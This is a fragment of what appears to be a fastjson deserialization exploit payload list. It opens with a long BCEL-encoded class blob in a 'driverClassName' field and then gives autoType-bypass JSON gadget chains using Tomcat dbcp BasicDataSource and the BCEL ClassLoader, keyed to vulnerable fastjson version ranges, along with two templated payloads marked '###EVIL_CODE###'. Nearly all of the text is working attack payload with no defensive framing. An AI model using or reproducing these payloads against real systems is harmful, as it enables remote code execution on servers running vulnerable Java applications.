"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
} : "xxx"
}
}
|
1.2.33<=fastjson<=12.36
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| {
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL..."
}
} : "ddd"
}
}
|
1.2.37<=fastjson<=1.2.47
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| {
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$..",
"$ref": "$.x.y.c.connection"
}
}
}
}
|
Payload
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21
| payload1:
{
"@type":"org.apache.commons.dbcp.BasicDataSource",
"driverClassLoader":
{
"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"###EVIL_CODE###"
}
payload2:
{{
"@type":"com.alibaba.fastjson.JSONObject",
"c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":
{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"###EVIL_CODE###"
}
}:"ddd"
}
|